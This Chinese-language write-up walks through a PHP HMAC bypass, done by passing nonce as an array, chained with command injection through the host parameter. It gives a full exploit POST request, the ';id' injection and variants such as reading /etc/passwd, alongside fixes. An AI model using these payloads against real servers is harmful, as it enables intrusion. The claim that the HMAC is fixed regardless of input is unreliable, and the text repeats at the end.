安全小游戏:寻找漏洞
字数 1439 2025-08-18 11:39:30

PHP HMAC 漏洞分析与利用教学文档

0x1 漏洞代码分析

<?php
if (empty($_POST['hmac']) || empty($_POST['host'])) {
    header('HTTP/1.0 400 Bad Request');
    exit;
}

$secret = getenv("SECRET");
if (isset($_POST['nonce'])) 
    $secret = hash_hmac('sha256', $_POST['host'], $secret);

$hmac = hash_hmac('sha256', $_POST['host'], $secret);

if ($hmac !== $_POST['hmac']) {
    header('HTTP/1.0 403 Forbidden');
    exit;
}

echo exec("host ".$_POST['host']);
?>

0x2 代码功能解析

这段代码实现了一个基于HMAC的身份验证机制,最终目标是执行host命令。主要流程如下:

  1. 检查hmachost POST参数是否为空
  2. 从环境变量获取SECRET
  3. 如果提供了nonce参数,则用host和当前secret生成新的secret
  4. hostsecret生成hmac
  5. 验证客户端提供的hmac是否与生成的hmac匹配
  6. 如果验证通过,执行host命令

0x3 漏洞点分析

3.1 主要漏洞点

  1. 类型混淆漏洞:当nonce参数被设置为数组时,isset($_POST['nonce'])返回true,但hash_hmac()函数接收到数组参数会返回NULL

  2. 命令注入漏洞exec("host ".$_POST['host'])直接拼接用户输入,存在命令注入风险

3.2 漏洞利用链

  1. 通过传递数组类型的nonce参数使hash_hmac()返回NULL
  2. secret为NULL时,计算出的hmac是固定值
  3. 绕过HMAC验证
  4. host参数中注入命令

0x4 漏洞利用详细步骤

4.1 使secret变为NULL

发送POST请求时,将nonce设置为数组:

nonce[]=1

这将导致:

$secret = hash_hmac('sha256', $_POST['host'], $secret); // 返回NULL

4.2 计算固定HMAC值

secret为NULL时,hash_hmac('sha256', $data, NULL)会返回固定值:

58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1

4.3 构造恶意请求

完整利用请求:

POST /vulnerable.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

hmac=58dedd736c5af324a198c6c663e569df59691854d1f53d704bdbce40f1d139c1&host=;id&nonce[]=1

4.4 命令注入

host参数设置为;id,最终执行的命令为:

host ;id

这将先执行host命令,然后执行id命令显示当前用户信息。

0x5 漏洞修复方案

5.1 修复HMAC验证

  1. 严格检查输入参数类型:
if (!is_string($_POST['nonce'])) {
    header('HTTP/1.0 400 Bad Request');
    exit;
}
  1. 使用恒等比较(!==)是正确的,但需要确保所有输入都是预期类型

5.2 修复命令注入

  1. 使用escapeshellarg()过滤输入:
echo exec("host ".escapeshellarg($_POST['host']));
  1. 或者使用白名单过滤:
if (!preg_match('/^[a-zA-Z0-9.-]+$/', $_POST['host'])) {
    header('HTTP/1.0 400 Bad Request');
    exit;
}

0x6 深入理解

6.1 PHP类型杂耍(Type Juggling)

PHP是弱类型语言,比较时会自动进行类型转换。虽然这里使用了!==避免了类型转换问题,但通过使函数返回NULL绕过了安全机制。

6.2 hash_hmac()函数行为

hash_hmac()$key参数为NULL或非字符串时:

  • PHP 7.2+:抛出Warning并返回false
  • PHP 5.x:静默返回NULL

6.3 isset()与empty()的区别

  • isset()检查变量是否已设置且不为NULL
  • empty()检查变量是否为"空"值(0, "", NULL, false, array()等)

0x7 扩展利用

7.1 其他可能利用方式

  1. 使用||代替;进行命令连接
  2. 注入其他命令如cat /etc/passwd
  3. 使用反引号执行命令

7.2 防御建议

  1. 始终验证输入数据类型
  2. 使用参数化查询或严格过滤所有外部输入
  3. 最小化使用危险函数(exec, system, passthru等)
  4. 实施最小权限原则

0x8 总结

这个漏洞展示了两个关键安全问题:

  1. PHP类型处理不当导致的安全绕过
  2. 未过滤用户输入导致的命令注入

通过精心构造的数组参数和命令注入,攻击者可以完全绕过HMAC验证机制并执行任意系统命令。修复时需要同时解决这两个问题才能确保系统安全。

PHP HMAC 漏洞分析与利用教学文档 0x1 漏洞代码分析 0x2 代码功能解析 这段代码实现了一个基于HMAC的身份验证机制,最终目标是执行 host 命令。主要流程如下: 检查 hmac 和 host POST参数是否为空 从环境变量获取 SECRET 如果提供了 nonce 参数,则用 host 和当前 secret 生成新的 secret 用 host 和 secret 生成 hmac 验证客户端提供的 hmac 是否与生成的 hmac 匹配 如果验证通过,执行 host 命令 0x3 漏洞点分析 3.1 主要漏洞点 类型混淆漏洞 :当 nonce 参数被设置为数组时, isset($_POST['nonce']) 返回true,但 hash_hmac() 函数接收到数组参数会返回NULL 命令注入漏洞 : exec("host ".$_POST['host']) 直接拼接用户输入,存在命令注入风险 3.2 漏洞利用链 通过传递数组类型的 nonce 参数使 hash_hmac() 返回NULL 当 secret 为NULL时,计算出的 hmac 是固定值 绕过HMAC验证 在 host 参数中注入命令 0x4 漏洞利用详细步骤 4.1 使 secret 变为NULL 发送POST请求时,将 nonce 设置为数组: 这将导致: 4.2 计算固定HMAC值 当 secret 为NULL时, hash_hmac('sha256', $data, NULL) 会返回固定值: 4.3 构造恶意请求 完整利用请求: 4.4 命令注入 host 参数设置为 ;id ,最终执行的命令为: 这将先执行 host 命令,然后执行 id 命令显示当前用户信息。 0x5 漏洞修复方案 5.1 修复HMAC验证 严格检查输入参数类型: 使用恒等比较( !== )是正确的,但需要确保所有输入都是预期类型 5.2 修复命令注入 使用escapeshellarg()过滤输入: 或者使用白名单过滤: 0x6 深入理解 6.1 PHP类型杂耍(Type Juggling) PHP是弱类型语言,比较时会自动进行类型转换。虽然这里使用了 !== 避免了类型转换问题,但通过使函数返回NULL绕过了安全机制。 6.2 hash_ hmac()函数行为 当 hash_hmac() 的 $key 参数为NULL或非字符串时: PHP 7.2+:抛出Warning并返回false PHP 5.x:静默返回NULL 6.3 isset()与empty()的区别 isset() 检查变量是否已设置且不为NULL empty() 检查变量是否为"空"值(0, "", NULL, false, array()等) 0x7 扩展利用 7.1 其他可能利用方式 使用 || 代替 ; 进行命令连接 注入其他命令如 cat /etc/passwd 使用反引号执行命令 7.2 防御建议 始终验证输入数据类型 使用参数化查询或严格过滤所有外部输入 最小化使用危险函数(exec, system, passthru等) 实施最小权限原则 0x8 总结 这个漏洞展示了两个关键安全问题: PHP类型处理不当导致的安全绕过 未过滤用户输入导致的命令注入 通过精心构造的数组参数和命令注入,攻击者可以完全绕过HMAC验证机制并执行任意系统命令。修复时需要同时解决这两个问题才能确保系统安全。